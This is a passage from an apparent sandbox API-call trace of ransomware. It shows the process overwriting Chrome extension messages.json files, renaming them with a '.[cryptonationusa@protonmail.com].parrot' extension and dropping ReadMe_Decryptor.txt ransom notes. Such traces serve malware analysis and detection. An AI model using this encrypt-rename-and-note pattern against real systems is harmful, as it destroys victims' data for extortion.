(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.329] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd6 [0055.329] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.329] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.330] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0055.330] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.330] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd6, lpOverlapped=0x0) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0055.331] GetLastError () returned 0x0 [0055.331] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0055.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d59e8 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0055.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d5b30 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d59e8 | out: hHeap=0x5b0000) returned 1 [0055.332] WriteFile (in: hFile=0x280, lpBuffer=0x5d5b30*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d5b30*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0055.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5b30 | out: hHeap=0x5b0000) returned 1 [0055.332] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.332] CloseHandle (hObject=0x280) returned 1 [0055.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d59e8 [0055.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d5b30 [0055.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d59e8 | out: hHeap=0x5b0000) returned 1 [0055.333] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5b30 | out: hHeap=0x5b0000) returned 1 [0055.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0055.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0055.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240e60 [0055.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d59e8 [0055.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0055.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0055.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.335] GetFileType (hFile=0x280) returned 0x1 [0055.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0055.345] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.345] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.345] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafeb33e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0055.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0055.345] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d57d0 [0055.345] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafed9540, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0055.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0055.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.345] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0055.345] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafed9540, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0055.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0055.345] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0055.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0055.346] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0055.346] lstrcmpW (lpString1="en_US", lpString2=".") returned 1 [0055.346] lstrcmpW (lpString1="en_US", lpString2="..") returned 1 [0055.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0055.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240d38 [0055.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0055.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0055.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0055.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5968 [0055.346] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.346] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.346] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.346] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.346] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.346] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0055.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0055.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.346] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0055.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.347] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xd7 [0055.347] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0055.347] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.347] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0055.348] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.348] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd7, lpOverlapped=0x0) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0055.348] GetLastError () returned 0x0 [0055.348] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0055.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0055.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d5b80 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0055.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d5cc8 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5b80 | out: hHeap=0x5b0000) returned 1 [0055.349] WriteFile (in: hFile=0x280, lpBuffer=0x5d5cc8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d5cc8*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0055.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5cc8 | out: hHeap=0x5b0000) returned 1 [0055.349] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0055.349] CloseHandle (hObject=0x280) returned 1 [0055.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d5b80 [0055.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d5cc8 [0055.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5b80 | out: hHeap=0x5b0000) returned 1 [0055.500] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0055.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5cc8 | out: hHeap=0x5b0000) returned 1 [0055.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0055.517] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0055.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240ba8 [0055.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x150) returned 0x5d5b80 [0055.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0055.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0055.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0055.518] GetFileType (hFile=0x280) returned 0x1 [0055.518] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0055.530] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0055.530] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb007c460, 